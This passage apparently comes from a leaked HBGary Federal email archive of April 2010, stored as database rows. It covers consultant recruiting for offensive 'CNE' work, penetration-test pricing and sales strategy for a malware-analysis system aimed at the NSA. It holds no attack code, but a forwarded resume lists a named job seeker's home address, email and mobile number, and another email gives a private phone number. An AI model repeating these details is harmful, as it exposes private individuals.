Barr wrote:\r\n> \r\n>> Ok.  Great.\r\n>> \r\n>> We have some ongoing work to build CNE capabilities.  The contract we have had for a while, although we do a variety of different things within it.  We have used some consultants in the past to help with surges in this work.  If this type of work interests you I would definitely like to put an NDA in place and use you for this type of work on an as needed and as available basis.\r\n>> \r\n>> Do you hold a clearance at all?\r\n>> \r\n>> Are you familiar with DARPA\'s cyber genome project?  There were 3 Technical areas and we sub\'d to 1 and primed another related to automated malware analysis.  That is all development work and unclassified.  If that work interests you we could probably use your help there too.\r\n>> \r\n>> Do you do or have you done Incident Response work?  We get short term gigs like this all the time.  I am not completely up on your full background so not sure if this is an area of expertise or interest.  HBGary Federal will be working hard over the next few months to solidify our IR offerings, using HBGary products as well as partner products.\r\n>> \r\n>> Probably others too but this is a good start off the top of my head.\r\n>> \r\n>> What types of things are you most interested in working on?\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 13, 2010, at 6:32 PM, Dino Dai Zovi wrote:\r\n>> \r\n>>> Hi Aaron,\r\n>>> \r\n>>> Yes, this is my first week post-EGS.  I am planning on staying independent for a while and trying that out for a bit.  I have a training course to prepare for BlackHat and some misc. other tasks, but may have some time open for small projects.  I would be interested in hearing about what type of work you would have open to subcontracting.\r\n>>> \r\n>>> Cheers,\r\n>>> \r\n>>> -Dino\r\n>>> \r\n>>> On Apr 13, 2010, at 6:31 PM, Dino A. Dai Zovi wrote:\r\n>>> \r\n>>>> \r\n>>>> \r\n>>>> ---------- Forwarded message ----------\r\n>>>> From: Aaron Barr \r\n>>>> Date: Tue, Apr 13, 2010 at 10:43 AM\r\n>>>> Subject: Update\r\n>>>> To: Dino Dai Zovi \r\n>>>> \r\n>>>> \r\n>>>> LinkedIn\r\n>>>> Aaron Barr has sent you a message.\r\n>>>> Date: 4/13/2010\r\n>>>> Subject: Update\r\n>>>> Hi Dino,\r\n>>>> \r\n>>>> It look like your not with EGS? What are you up to? Are you going to stay independent, and if so are you already booked up with work?\r\n>>>> \r\n>>>> Aaron\r\n>>>> View/reply to this message\r\n>>>> Don\'t want to receive e-mail notifications? Adjust your message settings.\r\n>>>> \r\n>>>> © 2010, LinkedIn Corporation\r\n>>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13146,'aaron_hbgary_com/13146.html'),(5618,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004071.M914402P14101Q473.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','TMC','Greg,\r\n\r\nI spoke with the Scott Brown from the Blue Team today.  He is also very interested in the TMC but is talking about an enterprise solution for NSA rather than a bunch of one offs.  Matt Bodmer mentioned the same thing.\r\n\r\nHere is the deal.  We will get one shot at this.  Greg we can talk in person about this tomorrow.  If they buy it and it sucks, they will shut it down and we won\'t get back in.  \r\n\r\nMy opinion.  You will sell a lot more copies of responder and REcon if we can tie it to net defense.  The way to tie it to net defense is through I&W / Threat Intelligence to start.  Government organizations especially if you want to deploy things on endpoints, well its painful, lengthy C&A process.  But if you get the TMC in, which is far easier to get approved, get them familiar with DDNA, get data to improve DDNA, then you will get much stronger advocates to integrate the endpoints.  Remember what I have been talking about since I started with HBGary.  The focus right now in government is on the perimeter and in organizing and providing better information on the threats.\r\n\r\na well working TMC can get you into the highest levels of the organizations you want to sell DDNA and responder to.  In this environment trickle down works!\r\n\r\nSo my suggestion is to put TMC as a priority and get it to a point that can be operational within customer spaces.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5238,'aaron_hbgary_com/5238.html'),(5619,'2010-04-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004072.M123939P14101Q474.eml','\"Ira Entis\" <Ira.Entis@agilex.com>','Re: Rates & availability to do a client phone discussion','This is completely dependent on the size of the effort.  Some variables are pen test vs. vulnerability assessment.  If a pen test, which this sounds like it is, then its a matter of size of the effort.  We will be able to provide a lot better estimate after the conversation on Monday with the customer.\r\n\r\nLikely the overall effort will be over a couple of weeks but won\'t take a full two weeks.  From requirements gathering, establishing rules of engagement, execution, report generation and brief out.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 22, 2010, at 3:05 PM, Ira Entis wrote:\r\n\r\n> Thanks. And do you have typical timeframes for testing penetration on web sites \r\n> \r\n> Ira\r\n> \r\n> On Apr 22, 2010, at 5:56 PM, \"Aaron Barr\"  wrote:\r\n> \r\n>> Hi Ira,\r\n>> \r\n>> Hourly rate is $194.00\r\n>> \r\n>> I am pretty open on Monday.  My Tuesday is pretty full.   If you want to just send out a meeting notice for a time that works for you on Monday and please include ted@hbgary.com\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 22, 2010, at 1:01 PM, Ira Entis wrote:\r\n>> \r\n>>> Aaron --\r\n>>> \r\n>>> 2 questions:\r\n>>> \r\n>>> 1) what is your hourly rate for ethical hacking?\r\n>>> \r\n>>> 2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n>>> \r\n>>> Thanks,\r\n>>> \r\n>>> Ira\r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',6100,'aaron_hbgary_com/6100.html'),(5620,'2010-04-23','\"Leary, Mark F (IS)\" <mark.leary@ngc.com>','/aaron@hbgary.com/new/1297004072.M348548P14101Q475.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: EXTERNAL:Saying hello','Sure thing; will connect off ngc.com\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, April 19, 2010 10:52 PM\r\nTo: Leary, Mark F (IS)\r\nSubject: EXTERNAL:Saying hello\r\n\r\nI was talking with Steve Winterfeld today and he mentioned you were\r\nnursing an injury (back was it?).\r\n\r\nI hadn\'t talked to you in a while so thought I would drop a note and say\r\nhey.\r\n\r\nLet me know if you want to have lunch some time.\r\n\r\nI have met up with Chris Barnett a few times doing work with CSC.  His\r\nnew experiences seem to be a bit mixed but sounds like he is settling\r\nin.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4918,'aaron_hbgary_com/4918.html'),(5621,'2010-04-23','\"Mark Leary\" <markleary@earthlink.net>','/aaron@hbgary.com/new/1297004072.M576436P14101Q476.eml','aaron@hbgary.com','Hi Aaron!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHey Aaron &#8211;\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s get together for drinks some time.\r\n\r\n&nbsp;\r\n\r\nOn a separate note, I am currently in contention for a CISO\r\nposition with a major A&amp;D company in Fairfax and would like to use you as a\r\nreference.&nbsp; \r\n\r\n&nbsp;\r\n\r\nI hope that you might consider this endorsement.&nbsp;\r\nPlease keep on the down low; Winterfeld has a big mouth J\r\n\r\n&nbsp;\r\n\r\nCheers!\r\n\r\n&nbsp;\r\n\r\nMark \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4712,'aaron_hbgary_com/4712.html'),(5622,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004072.M838450P14101Q477.eml','\"Mark Leary\" <markleary@earthlink.net>','Re: Hi Aaron!','Sounds good.  I would be happy to provide a recommendation.  Let\'s try\r\nto get together in the next few weeks.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 22, 2010, at 5:22 PM, Mark Leary  wrote:\r\n\r\n> Hey Aaron –\r\n>\r\n>\r\n>\r\n> Let’s get together for drinks some time.\r\n>\r\n>\r\n>\r\n> On a separate note, I am currently in contention for a CISO position\r\n> with a major A&D company in Fairfax and would like to use you as a\r\n> reference.\r\n>\r\n>\r\n>\r\n> I hope that you might consider this endorsement.  Please keep on the\r\n> down low; Winterfeld has a big mouth J\r\n>\r\n>\r\n>\r\n> Cheers!\r\n>\r\n>\r\n>\r\n> Mark\r\n>\r\n>\r\n',245,'aaron_hbgary_com/245.html'),(5623,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004073.M298538P14101Q479.eml','\"Mark Leary\" <markleary@earthlink.net>','Re: Hi Aaron!','Sure. 719.510.8478.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 22, 2010, at 5:52 PM, Mark Leary  wrote:\r\n\r\n> Great - can I get a phone # for the contact?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Thursday, April 22, 2010 8:44 PM\r\n> To: Mark Leary\r\n> Subject: Re: Hi Aaron!\r\n>\r\n> Sounds good.  I would be happy to provide a recommendation.  Let\'s try\r\n> to get together in the next few weeks.\r\n>\r\n> Aaron\r\n>\r\n> From my iPhone\r\n>\r\n> On Apr 22, 2010, at 5:22 PM, Mark Leary \r\n> wrote:\r\n>\r\n>> Hey Aaron -\r\n>>\r\n>>\r\n>>\r\n>> Let\'s get together for drinks some time.\r\n>>\r\n>>\r\n>>\r\n>> On a separate note, I am currently in contention for a CISO position\r\n>> with a major A&D company in Fairfax and would like to use you as a\r\n>> reference.\r\n>>\r\n>>\r\n>>\r\n>> I hope that you might consider this endorsement.  Please keep on the\r\n>> down low; Winterfeld has a big mouth J\r\n>>\r\n>>\r\n>>\r\n>> Cheers!\r\n>>\r\n>>\r\n>>\r\n>> Mark\r\n>>\r\n>>\r\n>\r\n>\r\n',4206,'aaron_hbgary_com/4206.html'),(5624,'2010-04-23','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004073.M527162P14101Q480.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: DC3 would buy a completed TMC','Emulation just doesn\'t work (words from Martin) just let it connect is the best solution.AaronOn Apr 22, 2010, at 1:57 PM, Bob Slapnik wrote:Aaron,&nbsp;I forgot something important.&nbsp; Dan said that if our sandbox system doesn’t emulate the network or the Internet then the runtime data will collect will be terribly limited because too little of the malware will execute………..&nbsp; I sure hope we addressed this in our DARPA proposal.&nbsp;Bob&nbsp;From:&nbsp;Bob Slapnik [mailto:bob@hbgary.com]&nbsp;Sent:&nbsp;Thursday, April 22, 2010 4:17 PMTo:&nbsp;\'Aaron Barr\'Subject:&nbsp;DC3 would buy a completed TMC&nbsp;Aaron,&nbsp;Dan Raygoza at DC3 DCFL is working on an automated malware analysis project.&nbsp; They get 1k malware per day now and expect the numbers to increase a lot.&nbsp; They are in the process of buying CWSandbox and Norman Analyzer and acquiring various GOTS and academic sandbox tools.&nbsp; They want as many as they can get so they can learn what they can about malware.&nbsp;They view REcon within Responder as not good enough yet because:·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;It is not fully automated.&nbsp; It has a manual front end and you need Responder to view the reports and data.·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;They don’t want the low level data. &nbsp;They want higher level reports.&nbsp; Maybe our current report is good enough – not sure.&nbsp;DC3 won’t be a prospect until we can show them TMC actually working.&nbsp; We need to figure out how we will price it at various volume levels.&nbsp;Bob&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',3128,'aaron_hbgary_com/3128.html'),(5625,'2010-04-23','\"Mark Leary\" <markleary@earthlink.net>','/aaron@hbgary.com/new/1297004073.M59708P14101Q478.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Hi Aaron!','Great - can I get a phone # for the contact? \r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 8:44 PM\r\nTo: Mark Leary\r\nSubject: Re: Hi Aaron!\r\n\r\nSounds good.  I would be happy to provide a recommendation.  Let\'s try\r\nto get together in the next few weeks.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Apr 22, 2010, at 5:22 PM, Mark Leary  wrote:\r\n\r\n> Hey Aaron -\r\n>\r\n>\r\n>\r\n> Let\'s get together for drinks some time.\r\n>\r\n>\r\n>\r\n> On a separate note, I am currently in contention for a CISO position\r\n> with a major A&D company in Fairfax and would like to use you as a\r\n> reference.\r\n>\r\n>\r\n>\r\n> I hope that you might consider this endorsement.  Please keep on the\r\n> down low; Winterfeld has a big mouth J\r\n>\r\n>\r\n>\r\n> Cheers!\r\n>\r\n>\r\n>\r\n> Mark\r\n>\r\n>\r\n\r\n\r\n',101,'aaron_hbgary_com/101.html'),(5626,'2010-04-23','\"Ira Entis\" <Ira.Entis@agilex.com>','/aaron@hbgary.com/new/1297004073.M742724P14101Q481.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Rates & availability to do a client phone discussion','Understood.  I know it wasn\'t a fair question, just looking for guides.  That\'s helpful.  \r\n\r\nThanks,\r\n\r\nIra\r\n\r\n\r\nOn Apr 22, 2010, at 7:01 PM, Aaron Barr wrote:\r\n\r\nThis is completely dependent on the size of the effort.  Some variables are pen test vs. vulnerability assessment.  If a pen test, which this sounds like it is, then its a matter of size of the effort.  We will be able to provide a lot better estimate after the conversation on Monday with the customer.\r\n\r\nLikely the overall effort will be over a couple of weeks but won\'t take a full two weeks.  From requirements gathering, establishing rules of engagement, execution, report generation and brief out.\r\n\r\nAaron\r\n\r\n\r\nOn Apr 22, 2010, at 3:05 PM, Ira Entis wrote:\r\n\r\n> Thanks. And do you have typical timeframes for testing penetration on web sites \r\n> \r\n> Ira\r\n> \r\n> On Apr 22, 2010, at 5:56 PM, \"Aaron Barr\"  wrote:\r\n> \r\n>> Hi Ira,\r\n>> \r\n>> Hourly rate is $194.00\r\n>> \r\n>> I am pretty open on Monday.  My Tuesday is pretty full.   If you want to just send out a meeting notice for a time that works for you on Monday and please include ted@hbgary.com\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Apr 22, 2010, at 1:01 PM, Ira Entis wrote:\r\n>> \r\n>>> Aaron --\r\n>>> \r\n>>> 2 questions:\r\n>>> \r\n>>> 1) what is your hourly rate for ethical hacking?\r\n>>> \r\n>>> 2) what are possible windows of time for a 30 minute client phone discussion next Monday or Tuesday?\r\n>>> \r\n>>> Thanks,\r\n>>> \r\n>>> Ira\r\n>>> \r\n>>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n',9027,'aaron_hbgary_com/9027.html'),(5627,'2010-04-23','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297004074.M333028P14101Q483.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: TMC','All,\r\n\r\nWith the NSA NTOC and ANO we are at the \"tip of the spear\" for all things\r\ngov\'t and DoD cyber defense.  Remember, this is the epicenter of the new DoD\r\nCyber Command.  Succeeding with TMC at NSA will start off with \"just\" a few\r\nhundred thousand dollars for software licensing and 1-2 people full time HBG\r\nFed people to managing it .  We are going to get so much more. Consider the\r\nfollowing......\r\n\r\n- NTOC probably has dozens (maybe more) malware analysts.  They can buy many\r\ncopies of Responder.  And they will spread the word to other gov\'t and DoD\r\norganizations to do the same.  Gov\'t likes to operate with a \"herd\r\nmentality\".\r\n\r\n- Having TMC there with 1-2 engineers running it will get HBGary hugely\r\nvaluable info about what is truly needed.  This will help our products\r\nevolve over time.\r\n\r\n- DDNA will be part of TMC.  NSA will build a powerful Customer Genome that\r\nthey could share with other agencies.  The use of DDNA will spread leading\r\nto enterprise deals.\r\n\r\nAaron, are you clear how we tie TMC to net defense?  Is it the automated\r\ncreation of SNORT signatures?  Or will there be more to it?\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 6:58 PM\r\nTo: Greg Hoglund\r\nCc: Bob Slapnik; Penny Leavy; Ted Vera\r\nSubject: TMC\r\n\r\nGreg,\r\n\r\nI spoke with the Scott Brown from the Blue Team today.  He is also very\r\ninterested in the TMC but is talking about an enterprise solution for NSA\r\nrather than a bunch of one offs.  Matt Bodmer mentioned the same thing.\r\n\r\nHere is the deal.  We will get one shot at this.  Greg we can talk in person\r\nabout this tomorrow.  If they buy it and it sucks, they will shut it down\r\nand we won\'t get back in.  \r\n\r\nMy opinion.  You will sell a lot more copies of responder and REcon if we\r\ncan tie it to net defense.  The way to tie it to net defense is through I&W\r\n/ Threat Intelligence to start.  Government organizations especially if you\r\nwant to deploy things on endpoints, well its painful, lengthy C&A process.\r\nBut if you get the TMC in, which is far easier to get approved, get them\r\nfamiliar with DDNA, get data to improve DDNA, then you will get much\r\nstronger advocates to integrate the endpoints.  Remember what I have been\r\ntalking about since I started with HBGary.  The focus right now in\r\ngovernment is on the perimeter and in organizing and providing better\r\ninformation on the threats.\r\n\r\na well working TMC can get you into the highest levels of the organizations\r\nyou want to sell DDNA and responder to.  In this environment trickle down\r\nworks!\r\n\r\nSo my suggestion is to put TMC as a priority and get it to a point that can\r\nbe operational within customer spaces.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.814 / Virus Database: 271.1.1/2828 - Release Date: 04/22/10\r\n02:31:00\r\n\r\n',5600,'aaron_hbgary_com/5600.html'),(5628,'2010-04-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004074.M656198P14101Q484.eml','\"Aaron Barr\" <aaron@hbgary.com>','SETA Education','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nCan I schedule a call to discuss the above with the sales\r\npeople?&nbsp; We had a person from Mandiant who is working for NSA, try to attend\r\nour training class.&nbsp; He did not disclose his conflict of interest. &nbsp;Bob and\r\nMaria are not aware of this requirement, so I want to educate them.\r\n\r\n&nbsp;\r\n\r\nLet me know when would work for you\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3021,'aaron_hbgary_com/3021.html'),(5629,'2010-04-23','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004074.M80178P14101Q482.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: 87445313 Multi-Source Intelligence Analyst Monster Resume 	#7cuzkbnhunvfx5du','Begin forwarded message:From: &lt;davidfabrams@aol.com&gt;\r\nDate: April 22, 2010 8:28:42 PM PDTTo: &lt;ted@hbgary.com&gt;Subject: 87445313  Multi-Source Intelligence Analyst  Monster Resume #7cuzkbnhunvfx5du\r\nReply-To: &lt;davidfabrams@aol.com&gt;\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThis job seeker is applying to the following:\r\n\r\n\r\n\r\n\r\nJob ID:  87445313\r\n\r\nJob Title:  Multi-Source Intelligence Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\nQuick View Links:\r\n\r\n\r\nResume Section\r\nSummary Section\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n	\r\n	\r\n	\r\n	\r\n			\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCONTACT INFO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDavid Fitzgerald Abrams \r\n6017 Roosevelt Blvd. \r\nUnit 191\r\nJacksonville, FL  32244\r\nUS\r\ndavidfabrams@aol.com\r\n\r\n\r\n\r\n\r\n\r\nMobile: 9044036677  Contact Preference: Mobile Phone\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRESUME\r\n \r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nResume Value: \r\n7cuzkbnhunvfx5du   Resume Headline: Military Resume  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nEXPERIENCE:\r\n12/2007 - Present\r\nUnited States Army\r\nFort Huachuca, AZ\r\n\r\n\r\n\r\n\r\n											Industry: Government and Military\r\n\r\n\r\n\r\nMI Lieutenant\r\n\r\n\r\n\r\n\r\n\r\n\r\nMilitary Intelligence Officer\r\n\r\n\r\n\r\n\r\n\r\n\r\n3/2004 - 12/2007\r\nFidelity National Information Services\r\nJacksonville, Florida\r\n\r\n\r\n\r\n\r\n											Industry: Computer/IT Services\r\n\r\n\r\n\r\nApplication Coordinator/Help Desk Analyst\r\n\r\n\r\n\r\n\r\n\r\n\r\nPerformed hardware, software, and networking maintenance and provided technical assistance to both external and internal clients.  Tested and trouble shot clients PC hardware, software, and network via phone, and e-mail.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1/2000 - 2/2004\r\nCitibank\r\nJacksonville, Florida\r\n\r\n\r\n\r\n\r\n											Industry: Banking\r\n\r\n\r\n\r\nElectronic Services Technician\r\n\r\n\r\n\r\n\r\n\r\n\r\nProvide customer with Internet Banking technical support. Assist customers with access to banking, investments and other Bank services.\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nEDUCATION:\r\n1/2004 - 7/2007\r\nInformation Technology\r\nUS-Florida-Jacksonville\r\n\r\n\r\n\r\nBachelor&#39;s Degree\r\n\r\n\r\n\r\nMajor Information Technology, Minor in Business Administration, GPA 3.8.\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n\r\nSKILLS:\r\nSkill Name\r\nSkill Level\r\n\r\n\r\n\r\nCisco Certified Network Administrator\r\nIntermediate\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\nLANGUAGES:\r\nLanguages\r\nProficiency Level\r\n\r\n\r\n\r\nEnglish\r\nFluent\r\n\r\n\r\n\r\nSpanish\r\nIntermediate\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n	\r\n	\r\n		\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSUMMARY\r\n\r\n^BACK TO TOP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Salary/Wage:\r\n60,000.00 USD Per Year\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCurrent Career Level:\r\nManager (Manager/Supervisor of Staff)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYears of relevant work experience:\r\n2+ to 5 Years\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWork Status:\r\nUS - I am authorized to work in this country for any employer.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nActive Security Clearance:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nUS Military Service:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Job:\r\nTarget Job Title:\r\nTechnology Manager\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAlternate Target Job Title:\r\nIntel/Security Manager\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Job Type:\r\nEmployeeTemporary/Contract/Project\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDesired Status:\r\nFull-TimePart-TimePer Diem\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Company:\r\nIndustry:\r\nComputer HardwareComputer SoftwareGovernment and MilitarySecurity and SurveillanceComputer/IT Services\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOccupation:\r\nSecurity/Protective ServicesSecurity Intelligence &amp; Analysis\r\nIT/Software DevelopmentComputer/Network SecurityDesktop Service and Support\r\nIT Project ManagementSystems Analysis - IT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTarget Locations:\r\nSelected Locations:\r\nUS\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRelocate:\r\nYes\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWillingness to travel:\r\nUp to 100%\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n	\r\n	\r\n	\r\n\r\n\r\n	\r\n	\r\n\r\n\r\n\r\n\r\n\r\n',9079,'aaron_hbgary_com/9079.html'),(5630,'2010-04-23','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297004074.M870105P14101Q485.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','RE: TMC','First NSA has bought SHIT.  Second, I don\'t\' doubt TMC is important to them,\r\nbut at $15k PER YEAR, sunbelt sells their solution which processes 500\r\nmalware a day.  Ours is MUCH larger and therefore we need to get value.\r\nThird, Scott has not bought what he said he would A YEAR AGO and we are\r\nSTILL WAITING.  Unless we can be a priority at NSA, I doubt we\'ll get\r\nanywhere, which means we need to be higher than we are.  I\'m not convinced\r\nwe are there, we need a high level meeting to bless the dollars.  Bob can\'t\r\nseem to get us there, can someone?\r\n\r\n-----Original Message-----\r\nFrom: Bob Slapnik [mailto:bob@hbgary.com] \r\nSent: Thursday, April 22, 2010 9:35 PM\r\nTo: \'Aaron Barr\'; \'Greg Hoglund\'\r\nCc: \'Penny Leavy\'; \'Ted Vera\'\r\nSubject: RE: TMC\r\n\r\nAll,\r\n\r\nWith the NSA NTOC and ANO we are at the \"tip of the spear\" for all things\r\ngov\'t and DoD cyber defense.  Remember, this is the epicenter of the new DoD\r\nCyber Command.  Succeeding with TMC at NSA will start off with \"just\" a few\r\nhundred thousand dollars for software licensing and 1-2 people full time HBG\r\nFed people to managing it .  We are going to get so much more. Consider the\r\nfollowing......\r\n\r\n- NTOC probably has dozens (maybe more) malware analysts.  They can buy many\r\ncopies of Responder.  And they will spread the word to other gov\'t and DoD\r\norganizations to do the same.  Gov\'t likes to operate with a \"herd\r\nmentality\".\r\n\r\n- Having TMC there with 1-2 engineers running it will get HBGary hugely\r\nvaluable info about what is truly needed.  This will help our products\r\nevolve over time.\r\n\r\n- DDNA will be part of TMC.  NSA will build a powerful Customer Genome that\r\nthey could share with other agencies.  The use of DDNA will spread leading\r\nto enterprise deals.\r\n\r\nAaron, are you clear how we tie TMC to net defense?  Is it the automated\r\ncreation of SNORT signatures?  Or will there be more to it?\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, April 22, 2010 6:58 PM\r\nTo: Greg Hoglund\r\nCc: Bob Slapnik; Penny Leavy; Ted Vera\r\nSubject: TMC\r\n\r\nGreg,\r\n\r\nI spoke with the Scott Brown from the Blue Team today.  He is also very\r\ninterested in the TMC but is talking about an enterprise solution for NSA\r\nrather than a bunch of one offs.  Matt Bodmer mentioned the same thing.\r\n\r\nHere is the deal.  We will get one shot at this.  Greg we can talk in person\r\nabout this tomorrow.  If they buy it and it sucks, they will shut it down\r\nand we won\'t get back in.  \r\n\r\nMy opinion.  You will sell a lot more copies of responder and REcon if we\r\ncan tie it to net defense.  The way to tie it to net defense is through I&W\r\n/ Threat Intelligence to start.  Government organizations especially if you\r\nwant to deploy things on endpoints, well its painful, lengthy C&A process.\r\nBut if you get the TMC in, which is far easier to get approved, get them\r\nfamiliar with DDNA, get data to improve DDNA, then you will get much\r\nstronger advocates to integrate the endpoints.  Remember what I have been\r\ntalking about since I started with HBGary.  The focus right now in\r\ngovernment is on the perimeter and in organizing and providing better\r\ninformation 